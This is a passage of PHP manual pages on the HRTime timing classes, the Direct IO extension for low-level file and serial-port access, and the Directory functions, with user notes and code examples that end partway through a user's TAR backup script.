HRTime\PerformanceCounter::getElapsedTicks — Get elapsed ticks for all intervals.

Description

public int HRTime\PerformanceCounter::getElapsedTicks ( void )

Get elapsed ticks for all the previously closed intervals.

Parameters

This function has no parameters.

Return Values

Returns integer indicating elapsed ticks.

User Contributed Notes

There are no user contributed notes for this page.


Timer frequency in ticks per second

  • « HRTime\PerformanceCounter::getElapsedTicks
  • HRTime\PerformanceCounter::getLastElapsedTicks »
  • PHP Manual
  • HRTime\PerformanceCounter
  • Timer frequency in ticks per second

HRTime\PerformanceCounter::getFrequency

(PECL hrtime >= 0.4.3)

HRTime\PerformanceCounter::getFrequency — Timer frequency in ticks per second

Description

public int HRTime\PerformanceCounter::getFrequency ( void )

Returns the timer frequency in ticks per second. This value is constant after the system start on almost any operating system.

Parameters

This function has no parameters.

Return Values

Returns integer indicating the timer frequency.

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed ticks for the last interval.

  • « HRTime\PerformanceCounter::getFrequency
  • HRTime\PerformanceCounter::isRunning »
  • PHP Manual
  • HRTime\PerformanceCounter
  • Get elapsed ticks for the last interval.

HRTime\PerformanceCounter::getLastElapsedTicks

(PECL hrtime >= 0.4.3)

HRTime\PerformanceCounter::getLastElapsedTicks — Get elapsed ticks for the last interval.

Description

public int HRTime\PerformanceCounter::getLastElapsedTicks ( void )

Get elapsed ticks for the previously closed interval.

Parameters

This function has no parameters.

Return Values

Returns integer indicating elapsed ticks.

User Contributed Notes

There are no user contributed notes for this page.


Whether the measurement is running.

  • « HRTime\PerformanceCounter::getLastElapsedTicks
  • HRTime\PerformanceCounter::start »
  • PHP Manual
  • HRTime\PerformanceCounter
  • Whether the measurement is running.

HRTime\PerformanceCounter::isRunning

(PECL hrtime >= 0.4.3)

HRTime\PerformanceCounter::isRunning — Whether the measurement is running.

Description

public bool HRTime\PerformanceCounter::isRunning ( void )

Reveals whether the measurement was started.

Parameters

This function has no parameters.

Return Values

Returns boolean indicating whetehr the measurement is running.

User Contributed Notes

There are no user contributed notes for this page.


Start time measurement

  • « HRTime\PerformanceCounter::isRunning
  • HRTime\PerformanceCounter::stop »
  • PHP Manual
  • HRTime\PerformanceCounter
  • Start time measurement

HRTime\PerformanceCounter::start

(PECL hrtime >= 0.4.3)

HRTime\PerformanceCounter::start — Start time measurement

Description

public void HRTime\PerformanceCounter::start ( void )

Starts the time measurement. It has no effect if the measurement was already started. The measurement will be continued if it was previously stopped.

Parameters

This function has no parameters.

Return Values

Returns void.

User Contributed Notes

There are no user contributed notes for this page.


Stop time measurement

  • « HRTime\PerformanceCounter::start
  • HRTime\StopWatch »
  • PHP Manual
  • HRTime\PerformanceCounter
  • Stop time measurement

HRTime\PerformanceCounter::stop

(PECL hrtime >= 0.4.3)

HRTime\PerformanceCounter::stop — Stop time measurement

Description

public void HRTime\PerformanceCounter::stop ( void )

Stop the time measurement for the previously started interval.

Parameters

This function has no parameters.

Return Values

Returns void.

User Contributed Notes

There are no user contributed notes for this page.


The HRTime\StopWatch class

(PECL hrtime >= 0.4.3)

Introduction

Class synopsis

HRTime\StopWatch extends HRTime\PerformanceCounter {
/* Methods */
public float getElapsedTime ([ integer $unit ] )
public float getLastElapsedTime ([ integer $unit ] )
/* Inherited methods */
public int HRTime\PerformanceCounter::getElapsedTicks ( void )
public int HRTime\PerformanceCounter::getFrequency ( void )
public int HRTime\PerformanceCounter::getLastElapsedTicks ( void )
public bool HRTime\PerformanceCounter::isRunning ( void )
public void HRTime\PerformanceCounter::start ( void )
public void HRTime\PerformanceCounter::stop ( void )
}

Table of Contents

  • HRTime\StopWatch::getElapsedTime — Get elapsed time for all intervals.
  • HRTime\StopWatch::getLastElapsedTime — Get elapsed time for the last interval.

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed time for all intervals.

  • « HRTime\StopWatch
  • HRTime\StopWatch::getLastElapsedTime »
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed time for all intervals.

HRTime\StopWatch::getElapsedTime

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getElapsedTime — Get elapsed time for all intervals.

Description

public float HRTime\StopWatch::getElapsedTime ([ integer $unit ] )

Get elapsed time for all the previously closed intervals.

Parameters

unit

Time unit represented by a HRTime\Unit constant. Default is HRTime\Unit::SECOND.

Return Values

Returns float indicating elapsed time.

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed time for the last interval.

  • « HRTime\StopWatch::getElapsedTime
  • HRTime\Unit »
  • PHP Manual
  • HRTime\StopWatch
  • Get elapsed time for the last interval.

HRTime\StopWatch::getLastElapsedTime

(PECL hrtime >= 0.4.3)

HRTime\StopWatch::getLastElapsedTime — Get elapsed time for the last interval.

Description

public float HRTime\StopWatch::getLastElapsedTime ([ integer $unit ] )

Get elapsed time for the previously closed interval.

Parameters

unit

Time unit represented by a HRTime\Unit constant. Default is HRTime\Unit::SECOND.

Return Values

Returns float indicating elapsed time.

User Contributed Notes

There are no user contributed notes for this page.


The HRTime\Unit class

(PECL hrtime >= 0.4.3)

Introduction

Class synopsis

HRTime\Unit {
/* Constants */
const integer SECOND = 0 ;
const integer MILLISECOND = 1 ;
const integer MICROSECOND = 2 ;
const integer NANOSECOND = 3 ;
/* Methods */
}

Predefined Constants

HRTime\Unit::SECOND

HRTime\Unit::MILLISECOND

HRTime\Unit::MICROSECOND

HRTime\Unit::NANOSECOND

User Contributed Notes

There are no user contributed notes for this page.


File System Related Extensions

  • Direct IO
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Direct IO Functions
  • Directories
    • Installing/Configuring
    • Predefined Constants
    • Directory — The Directory class
    • Directory Functions
  • Fileinfo — File Information
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Fileinfo Functions
  • Filesystem
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Filesystem Functions
  • Inotify
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Inotify Functions
  • Mimetype
    • Introduction
    • Installing/Configuring
    • Predefined Constants
  • Proctitle
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Proctitle Functions
  • xattr
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • xattr Functions
  • xdiff
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • xdiff Functions

User Contributed Notes

There are no user contributed notes for this page.


Direct IO

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Direct IO Functions
    • dio_close — Closes the file descriptor given by fd
    • dio_fcntl — Performs a c library fcntl on fd
    • dio_open — Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.
    • dio_read — Reads bytes from a file descriptor
    • dio_seek — Seeks to pos on fd from whence
    • dio_stat — Gets stat information about the file descriptor fd
    • dio_tcsetattr — Sets terminal attributes and baud rate for a serial port
    • dio_truncate — Truncates file descriptor fd to offset bytes
    • dio_write — Writes data to fd with optional truncation at length

User Contributed Notes

There are no user contributed notes for this page.


Introduction

PHP supports the direct io functions as described in the Posix Standard (Section 6) for performing I/O functions at a lower level than the C-Language stream I/O functions (fopen(), fread(),..). The use of the DIO functions should be considered only when direct control of a device is needed. In all other cases, the standard filesystem functions are more than adequate.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

This extension is only available on Windows Platforms as of PHP 5.0.0

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/dio.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

One resource type is defined by this extension: a file descriptor returned by dio_open().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

F_DUPFD (integer)

F_GETFD (integer)

F_GETFL (integer)

F_GETLK (integer)

F_GETOWN (integer)

F_RDLCK (integer)

F_SETFL (integer)

F_SETLK (integer)

F_SETLKW (integer)

F_SETOWN (integer)

F_UNLCK (integer)

F_WRLCK (integer)

O_APPEND (integer)

O_ASYNC (integer)

O_CREAT (integer)

O_EXCL (integer)

O_NDELAY (integer)

O_NOCTTY (integer)

O_NONBLOCK (integer)

O_RDONLY (integer)

O_RDWR (integer)

O_SYNC (integer)

O_TRUNC (integer)

O_WRONLY (integer)

S_IRGRP (integer)

S_IROTH (integer)

S_IRUSR (integer)

S_IRWXG (integer)

S_IRWXO (integer)

S_IRWXU (integer)

S_IWGRP (integer)

S_IWOTH (integer)

S_IWUSR (integer)

S_IXGRP (integer)

S_IXOTH (integer)

S_IXUSR (integer)

User Contributed Notes

There are no user contributed notes for this page.


Direct IO Functions

Table of Contents

  • dio_close — Closes the file descriptor given by fd
  • dio_fcntl — Performs a c library fcntl on fd
  • dio_open — Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.
  • dio_read — Reads bytes from a file descriptor
  • dio_seek — Seeks to pos on fd from whence
  • dio_stat — Gets stat information about the file descriptor fd
  • dio_tcsetattr — Sets terminal attributes and baud rate for a serial port
  • dio_truncate — Truncates file descriptor fd to offset bytes
  • dio_write — Writes data to fd with optional truncation at length

User Contributed Notes

php dot 5 dot gavinostlund at spamgourmet dot com 08-Dec-2007 01:36
You can manually build the dio extension for your version of PHP, or install an older version of PHP that still bundled dio.  It's not that hard to build it yourself, just a bit of a process, and it helps if you're on linux, and have a build environment... which I would assume you have if you are doing some kind of development that requires direct device I/O...  Just get the dio source from the cvs repo, compile it, and then add the extension to your php configuration...
tom at bitworks dot de 03-Nov-2007 02:41
to use mandatory locking on a linux system, the filesystem has to be well prepared.

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>               <dump>  <pass>
/dev/hda1       /               ext3    errors=remount-ro,mand  0       1
/dev/hda2       none            swap    sw                      0       0
proc            /proc           proc    defaults                0       0
/dev/fd0        /floppy         auto    user,noauto             0       0
/dev/cdrom      /cdrom          iso9660 ro,user,noauto          0       0

For example here the ext3 partition has been prepared for mandatory locking. Otherwise no dio_function will work on the system.
richard d_0t cubek a_t example D0_t com 25-Sep-2007 10:13
IMPORTANT:

--enable-dio is NOT recognized as an option. After reporting a bug, i got following answer:

It is not bundled anymore. See http://pecl.php.net/dio to fetch the CVS version (being unmaintained, there is no release in pecl). Not a bug > bogus.


Closes the file descriptor given by fd

  • « Direct IO Functions
  • dio_fcntl »
  • PHP Manual
  • Direct IO Functions
  • Closes the file descriptor given by fd

dio_close

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_close — Closes the file descriptor given by fd

Description

void dio_close ( resource $fd )

The function dio_close() closes the file descriptor fd.

Parameters

fd

The file descriptor returned by dio_open().

Return Values

No value is returned.

Examples

Example #1 Closing an open file descriptor

<?php
$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_close($fd);
?>

See Also

  • dio_open() - Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.

User Contributed Notes

There are no user contributed notes for this page.


Performs a c library fcntl on fd

  • « dio_close
  • dio_open »
  • PHP Manual
  • Direct IO Functions
  • Performs a c library fcntl on fd

dio_fcntl

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_fcntl — Performs a c library fcntl on fd

Description

mixed dio_fcntl ( resource $fd , int $cmd [, mixed $args ] )

The dio_fcntl() function performs the operation specified by cmd on the file descriptor fd. Some commands require additional arguments args to be supplied.

Parameters

fd

The file descriptor returned by dio_open().

cmd

Can be one of the following operations:

  • F_SETLK - Lock is set or cleared. If the lock is held by someone else dio_fcntl() returns -1.

  • F_SETLKW - like F_SETLK, but in case the lock is held by someone else, dio_fcntl() waits until the lock is released.

  • F_GETLK - dio_fcntl() returns an associative array (as described above) if someone else prevents lock. If there is no obstruction key "type" will set to F_UNLCK.

  • F_DUPFD - finds the lowest numbered available file descriptor greater than or equal to args and returns them.

  • F_SETFL - Sets the file descriptors flags to the value specified by args, which can be O_APPEND, O_NONBLOCK or O_ASYNC. To use O_ASYNC you will need to use the PCNTL extension.

args

args is an associative array, when cmd is F_SETLK or F_SETLLW, with the following keys:

  • start - offset where lock begins

  • length - size of locked area. zero means to end of file

  • whence - Where l_start is relative to: can be SEEK_SET, SEEK_END and SEEK_CUR

  • type - type of lock: can be F_RDLCK (read lock), F_WRLCK (write lock) or F_UNLCK (unlock)

Return Values

Returns the result of the C call.

Examples

Example #1 Setting and clearing a lock

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

if (dio_fcntl($fd, F_SETLK, Array("type"=>F_WRLCK)) == -1) {
   // the file descriptor appears locked
   echo "The lock can not be cleared. It is held by someone else.";
} else {
   echo "Lock successfully set/cleared";
}

dio_close($fd);
?>

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

Guillermo Prandi 11-Jun-2013 08:52
Actually, there's a small typo in the above docs. The parameter for where l_start is relative to is actually "whence" and not "wenth" like stated.


Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.

  • « dio_fcntl
  • dio_read »
  • PHP Manual
  • Direct IO Functions
  • Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.

dio_open

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_open — Opens a file (creating it if necessary) at a lower level than the C library input/ouput stream functions allow.

Description

resource dio_open ( string $filename , int $flags [, int $mode = 0 ] )

dio_open() opens a file and returns a new file descriptor for it.

Parameters

filename

The pathname of the file to open.

flags

The flags parameter is a bitwise-ORed value comprising flags from the following list. This value must include one of O_RDONLY, O_WRONLY, or O_RDWR. Additionally, it may include any combination of the other flags from this list.

  • O_RDONLY - opens the file for read access.

  • O_WRONLY - opens the file for write access.

  • O_RDWR - opens the file for both reading and writing.

  • O_CREAT - creates the file, if it doesn't already exist.

  • O_EXCL - if both O_CREAT and O_EXCL are set and the file already exists, causes dio_open() to fail.

  • O_TRUNC - if the file exists and is opened for write access, the file will be truncated to zero length.

  • O_APPEND - write operations write data at the end of the file.

  • O_NONBLOCK - sets non blocking mode.

  • O_NOCTTY - prevent the OS from assigning the opened file as the process's controlling terminal when opening a TTY device file.

mode

If flags contains O_CREAT, mode will set the permissions of the file (creation permissions). Mode is required for correct operation when O_CREAT is specified in mode and is ignored otherwise.

The actual permissions assigned to the created file will be affected by the process's umask setting as per usual.

Return Values

A file descriptor or FALSE on error.

Examples

Example #1 Opening a file descriptor

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_close($fd);
?>

See Also

  • dio_close() - Closes the file descriptor given by fd

User Contributed Notes

Anonymous 08-Apr-2012 11:12
"The prominent reason" to use direct I/O is when your application provides its own cache feature, so you won't do double caching
Marius Karthaus 03-Mar-2010 09:02
One of the prominent reasons to use direct IO, is for it's ability to do actual direct IO, bypassing the operating system cache and getting the data from the disk directly.
The flag to do that (O_DIRECT) is missing from the documentation above. Maybe for good reasons, because this type of IO only works on blockdevices, not on files, and should only be used if you are **really** sure what you are doing.
j at pureftpd dot org 24-Jan-2005 01:13
Please note that dio_open()/dio_write()/dio_close() is *faster* than fopen()/fwrite()/fclose() for files.

fwrite() has to manage a 8k buffer, while dio_write() just issue a single write(). The end result is less system calls and less memory access.

Also, giving the full size to write() as with dio_write() let filesystems properly use preallocation in order to avoid fragmentation.
alla at cyber dot com dot au 22-Mar-2003 04:16
To specify a combination of flags you OR them together.
This was the only way I could get it to append:

$fd = dio_open($file, O_WRONLY | O_APPEND);


Reads bytes from a file descriptor

  • « dio_open
  • dio_seek »
  • PHP Manual
  • Direct IO Functions
  • Reads bytes from a file descriptor

dio_read

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_read — Reads bytes from a file descriptor

Description

string dio_read ( resource $fd [, int $len = 1024 ] )

The function dio_read() reads and returns len bytes from file with descriptor fd.

Parameters

fd

The file descriptor returned by dio_open().

len

The number of bytes to read. If not specified, dio_read() reads 1K sized block.

Return Values

The bytes read from fd.

See Also

  • dio_write() - Writes data to fd with optional truncation at length

User Contributed Notes

alban 29-Jun-2009 02:58
I am using dio functions on windows to read RS232 port.
I can read/write but it seems that the write function cannot be binary.

In particular:
dio_write($com1,chr(10),1); will result in writing 2 bytes 0D 0A be cause \n is translated to \r\n. I have not found any way to overcome this limitation so far
matt at vhub dot com 19-May-2006 04:48
Note that dio_read on Windows (other platforms unknown) will not timeout if there is no data to read. There is no way to specify a timeout or do a non-blocking read on Windows.


Seeks to pos on fd from whence

  • « dio_read
  • dio_stat »
  • PHP Manual
  • Direct IO Functions
  • Seeks to pos on fd from whence

dio_seek

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_seek — Seeks to pos on fd from whence

Description

int dio_seek ( resource $fd , int $pos [, int $whence = SEEK_SET ] )

The function dio_seek() is used to change the file position of the given file descriptor.

Parameters

fd

The file descriptor returned by dio_open().

pos

The new position.

whence

Specifies how the position pos should be interpreted:

  • SEEK_SET (default) - specifies that pos is specified from the beginning of the file.

  • SEEK_CUR - Specifies that pos is a count of characters from the current file position. This count may be positive or negative.

  • SEEK_END - Specifies that pos is a count of characters from the end of the file. A negative count specifies a position within the current extent of the file; a positive count specifies a position past the current end. If you set the position past the current end, and actually write data, you will extend the file with zeros up to that position.

Return Values

Examples

Example #1 Positioning in a file

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR);

dio_seek($fd, 10, SEEK_SET);
// position is now at 10 characters from the start of the file

dio_seek($fd, -2, SEEK_CUR);
// position is now at 8 characters from the start of the file

dio_seek($fd, -5, SEEK_END);
// position is now at 5 characters from the end of the file

dio_seek($fd, 10, SEEK_END);
// position is now at 10 characters past the end of the file.
// The 10 characters between the end of the file and the current
// position are filled with zeros.

dio_close($fd);
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets stat information about the file descriptor fd

  • « dio_seek
  • dio_tcsetattr »
  • PHP Manual
  • Direct IO Functions
  • Gets stat information about the file descriptor fd

dio_stat

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_stat — Gets stat information about the file descriptor fd

Description

array dio_stat ( resource $fd )

dio_stat() returns information about the given file descriptor.

Parameters

fd

The file descriptor returned by dio_open().

Return Values

Returns an associative array with the following keys:

  • "device" - device

  • "inode" - inode

  • "mode" - mode

  • "nlink" - number of hard links

  • "uid" - user id

  • "gid" - group id

  • "device_type" - device type (if inode device)

  • "size" - total size in bytes

  • "blocksize" - blocksize

  • "blocks" - number of blocks allocated

  • "atime" - time of last access

  • "mtime" - time of last modification

  • "ctime" - time of last change

On error dio_stat() returns NULL.

User Contributed Notes

There are no user contributed notes for this page.


Sets terminal attributes and baud rate for a serial port

  • « dio_stat
  • dio_truncate »
  • PHP Manual
  • Direct IO Functions
  • Sets terminal attributes and baud rate for a serial port

dio_tcsetattr

(PHP 4 >= 4.3.0, PHP 5 <= 5.0.5)

dio_tcsetattr — Sets terminal attributes and baud rate for a serial port

Description

bool dio_tcsetattr ( resource $fd , array $options )

dio_tcsetattr() sets the terminal attributes and baud rate of the open fd.

Parameters

fd

The file descriptor returned by dio_open().

options

The currently available options are:

  • 'baud' - baud rate of the port - can be 38400,19200,9600,4800,2400,1800, 1200,600,300,200,150,134,110,75 or 50, default value is 9600.

  • 'bits' - data bits - can be 8,7,6 or 5. Default value is 8.

  • 'stop' - stop bits - can be 1 or 2. Default value is 1.

  • 'parity' - can be 0,1 or 2. Default value is 0.

Return Values

No value is returned.

Examples

Example #1 Setting the baud rate on a serial port

<?php

$fd = dio_open('/dev/ttyS0', O_RDWR | O_NOCTTY | O_NONBLOCK);

dio_fcntl($fd, F_SETFL, O_SYNC);

dio_tcsetattr($fd, array(
  'baud' => 9600,
  'bits' => 8,
  'stop'  => 1,
  'parity' => 0
));

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
      echo $data;
  }
}

?>

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

daniel widyanto (kunilkuda at gmail dot com) 01-Jul-2005 03:34
I'm using PHP to interface my AVR microcontroller in /dev/ttyS0. I bet someone else does the same.

Here's some hint :
- dio_tcsetattr -> is set to enable :
            - RTS / CTS hardware control
            - ICANON mode
              (means that dio_read will wait until 0x0A/LF or other control character is entered in /dev/ttyS0 before it returns reading result, when you use dio_write it will also send 0x0A/LF automatically in the end of the message to your device).

For those who dont need RTS/CTS and/or ICANON, you can use linux command : stty.

Here's mine :

<?php
        exec('stty -F /dev/ttyS0 4800 raw');

        $fd=dio_open('/dev/ttyS0',O_RDWR | O_NOCTTY | O_NDELAY);
        dio_fcntl($fd,F_SETFL,0);

        dio_write($fd,"\x41",1);  // write 0x41 or 'A' to /dev/ttyS0

        // Replace result_length with your expected command result length
        for ($i=0;$i < result_length;$i++) {
               $result .=dio_read($fd, 1);
        }
        echo $result;
?>

Refer to :
- Serial Programming Guide for POSIX Operating Systems, http://www.easysw.com/~mike/serial/
- stty man pages
fherrero at noticiasdenavarra dot com 02-Apr-2005 01:30
For Windows the Example 1 looks same this one:

<?php

exec('mode com1: baud=9600 data=8 stop=1 parity=n xon=on');
// execute 'help mode' in command line of Windows for help

$fd = dio_open('com1:', O_RDWR);

while (1) {

  $data = dio_read($fd, 256);

  if ($data) {
     echo $data;
  }
}

?>
healer at colorado dot edu 20-Jul-2003 12:37
It was frustrating at first because I was trying to get my Linux box to talk to an external serial device (a PIC18F452 programmable chip) and the example provided here refers to fcntl() and open() parameters that aren't in the PHP documentation.

I finally found out what does what through the man pages:

man open
man fcntl

still haven't gotten it to work, or how to reset the ttySx, but thought it may help someone...


Truncates file descriptor fd to offset bytes

  • « dio_tcsetattr
  • dio_write »
  • PHP Manual
  • Direct IO Functions
  • Truncates file descriptor fd to offset bytes

dio_truncate

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_truncate — Truncates file descriptor fd to offset bytes

Description

bool dio_truncate ( resource $fd , int $offset )

dio_truncate() truncates a file to at most offset bytes in size.

If the file previously was larger than this size, the extra data is lost. If the file previously was shorter, it is unspecified whether the file is left unchanged or is extended. In the latter case the extended part reads as zero bytes.

Parameters

fd

The file descriptor returned by dio_open().

offset

The offset in bytes.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is not implemented on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Writes data to fd with optional truncation at length

  • « dio_truncate
  • Directories »
  • PHP Manual
  • Direct IO Functions
  • Writes data to fd with optional truncation at length

dio_write

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5)

dio_write — Writes data to fd with optional truncation at length

Description

int dio_write ( resource $fd , string $data [, int $len = 0 ] )

dio_write() writes up to len bytes from data to file fd.

Parameters

fd

The file descriptor returned by dio_open().

data

The written data.

len

The length of data to write in bytes. If not specified, the function writes all the data to the specified file.

Return Values

Returns the number of bytes written to fd.

See Also

  • dio_read() - Reads bytes from a file descriptor

User Contributed Notes

There are no user contributed notes for this page.


Directories

  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Directory — The Directory class
    • Directory::close — Close directory handle
    • Directory::read — Read entry from directory handle
    • Directory::rewind — Rewind directory handle
  • Directory Functions
    • chdir — Change directory
    • chroot — Change the root directory
    • closedir — Close directory handle
    • dir — Return an instance of the Directory class
    • getcwd — Gets the current working directory
    • opendir — Open directory handle
    • readdir — Read entry from directory handle
    • rewinddir — Rewind directory handle
    • scandir — List files and directories inside the specified path

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

DIRECTORY_SEPARATOR (string)
PATH_SEPARATOR (string)
Available since PHP 4.3.0. Semicolon on Windows, colon otherwise.
SCANDIR_SORT_ASCENDING (integer)
Available since PHP 5.4.0.
SCANDIR_SORT_DESCENDING (integer)
Available since PHP 5.4.0.
SCANDIR_SORT_NONE (integer)
Available since PHP 5.4.0.

User Contributed Notes

Anonymous 09-Mar-2014 12:04
In PHP 5.6 you can make a variadic function.

<?php
/**
 * Builds a file path with the appropriate directory separator.
 * @param string $segments,... unlimited number of path segments
 * @return string Path
 */
function file_build_path(...$segments) {
    return join(DIRECTORY_SEPARATOR, $segments);
}

file_build_path("home", "alice", "Documents", "example.txt");
?>

In earlier PHP versions you can use func_get_args.

<?php
function file_build_path() {
    return join(DIRECTORY_SEPARATOR, func_get_args($segments));
}

file_build_path("home", "alice", "Documents", "example.txt");
?>
Anonymous 30-Sep-2013 01:09
For my part I'll continue to use this constant because it seems more future safe and flexible, even if Windows installations currently convert the paths magically. Not that syntax aesthetics matter but I think it can be made to look attractive:

<?php
$path = join(DIRECTORY_SEPARATOR, array('root', 'lib', 'file.php');
?>
Paulo Marques 16-Sep-2013 11:31
DIRECTORY_SEPARATOR is not necessarily needed, PHP always converts / to the appropriate character in its file functions.
It is good practice, though.


The Directory class

(PHP 4, PHP 5)

Introduction

Instances of Directory are created by calling the dir() function, not by the new operator.

Class synopsis

Directory {
/* Properties */
public string $path ;
public resource $handle ;
/* Methods */
public void close ([ resource $dir_handle ] )
public string read ([ resource $dir_handle ] )
public void rewind ([ resource $dir_handle ] )
}

Properties

path

The directory that was opened.

handle

Can be used with other directory functions such as readdir(), rewinddir() and closedir().

Table of Contents

  • Directory::close — Close directory handle
  • Directory::read — Read entry from directory handle
  • Directory::rewind — Rewind directory handle

User Contributed Notes

There are no user contributed notes for this page.


Close directory handle

  • « Directory
  • Directory::read »
  • PHP Manual
  • Directory
  • Close directory handle

Directory::close

(PHP 4, PHP 5)

Directory::close — Close directory handle

Description

public void Directory::close ([ resource $dir_handle ] )

Same as closedir(), only dir_handle defaults to $this.

User Contributed Notes

There are no user contributed notes for this page.


Read entry from directory handle

  • « Directory::close
  • Directory::rewind »
  • PHP Manual
  • Directory
  • Read entry from directory handle

Directory::read

(PHP 4, PHP 5)

Directory::read — Read entry from directory handle

Description

public string Directory::read ([ resource $dir_handle ] )

Same as readdir(), only dir_handle defaults to $this.

User Contributed Notes

There are no user contributed notes for this page.


Rewind directory handle

  • « Directory::read
  • Directory Functions »
  • PHP Manual
  • Directory
  • Rewind directory handle

Directory::rewind

(PHP 4, PHP 5)

Directory::rewind — Rewind directory handle

Description

public void Directory::rewind ([ resource $dir_handle ] )

Same as rewinddir(), only dir_handle defaults to $this.

User Contributed Notes

There are no user contributed notes for this page.


Directory Functions

See Also

For related functions such as dirname(),
is_dir(), mkdir(), and
rmdir(), see the
Filesystem section.

Table of Contents

  • chdir — Change directory
  • chroot — Change the root directory
  • closedir — Close directory handle
  • dir — Return an instance of the Directory class
  • getcwd — Gets the current working directory
  • opendir — Open directory handle
  • readdir — Read entry from directory handle
  • rewinddir — Rewind directory handle
  • scandir — List files and directories inside the specified path

User Contributed Notes

Jean-Paul Wattiaux 01-Sep-2007 05:08
Mine works as long as the samba volume is actually mounted. Having it listed in the "My Computer" window doesn't warrant that.
adrian 20-Aug-2007 11:33
Samba mounts under a Windows environment are not accessible using the mounted drive letter. For instance, if you have drive X: in Windows mounted to //example.local/shared_dir (where example.local is a *nix box running Samba), the following constructs

$dir = "X:\\data\\";
$handle = opendir( $dir );
or
$d = dir( $dir );

will return a warning message "failed to open dir: No error"

On the other hand, using the underlying mapping info works just fine. For example:

$dir = "//example.local/shared_dir/data";
$handle = opendir( $dir );
or
$d = dir( $dir );

Both cases do what they're expected to.
phdwight at yahoo dot com 28-Mar-2007 04:45
I have posted this same observation in scandir, and found out that it is not limited to scandir alone but to ALL directory functions.

Directory functions DOES NOT currently supports Japanese characters.
dkflbk at nm dot ru 15-Sep-2006 01:29
I wrote a simple backup script which puts all files in his folder (and all of the sub-folders) in one TAR archive...
(It's classic TAR format not USTAR, so filename and path to it can't be longer then 99 chars)
<?php
/***********************************************************
 *   Title:  Classic-TAR based backup script v0.0.1-dev
  **********************************************************/

Class Tar_by_Vladson {
    var $tar_file;
    var $fp;
    function Tar_by_Vladson($tar_file='backup.tar') {
        $this->tar_file = $tar_file;
        $this->fp = fopen($this->tar_file, "wb");
        $tree = $this->build_tree();
        $this->process_tree($tree);
        fputs($this->fp, pack("a512", ""));
        fclose($this->fp);
    }
    function build_tree($dir='.'){
        $handle = opendir($dir);
        while(false !== ($readdir = readdir($handle))){
            if($readdir != '.' && $readdir != '..'){
                $path = $dir.'/'.$readdir;
                if (is_file($path)) {
                    $output[] = substr($path, 2, strlen($path));
                } elseif (is_dir($path)) {
                    $output[] = substr($path, 2, strlen($path)).'/';
                    $output = array_merge($output, $this->build_tree($path));
                }
            }
        }
        closedir($handle);
        return $output;
    }
    function process_tree($tree) {
        foreach( $tree as $pathfile ) {
            if (substr($pathfile, -1, 1) == '/') {
                fputs($this->fp, $this->build_header($pathfile));
            } elseif ($pathfile != $this->tar_file) {
                $filesize = filesize($pathfile);
                $block_len = 512*ceil($filesize/512)-$filesize;
                fputs($this->fp, $this->build_header($pathfile));
                fputs($this->fp, file_get_contents($pathfile));
                fputs($this->fp, pack("a".$block_len, ""));
            }
        }
        return true;
    }
    function build_header($pathfile) {
        if ( strlen($pathfile) > 99 ) die('Error');
        $info = stat($pathfile);
        if ( is_dir($pathfile) ) $info[7] = 0;
        $header = pack("a100a8a8a8a12A12a8a1a100a255",
            $pathfile,
            sprintf("%6s ", decoct($info[2])),
            sprintf("%6s ", decoct($info[4])),
            sprintf("%6s ", decoct($info[5])),
            sprintf("%11s ",decoct($info[7])),
            sprintf("%11s", decoct($info[9])),
            sprintf("%8s", " "),
            (is_dir($pathfile) ? "5" : "0"),
            "",
            ""
            );
        clearstatcache();
        $checksum = 0;
        for ($i=0; $i<512; $i++) {
            $checksum += ord(substr($header,$i,1));
        }
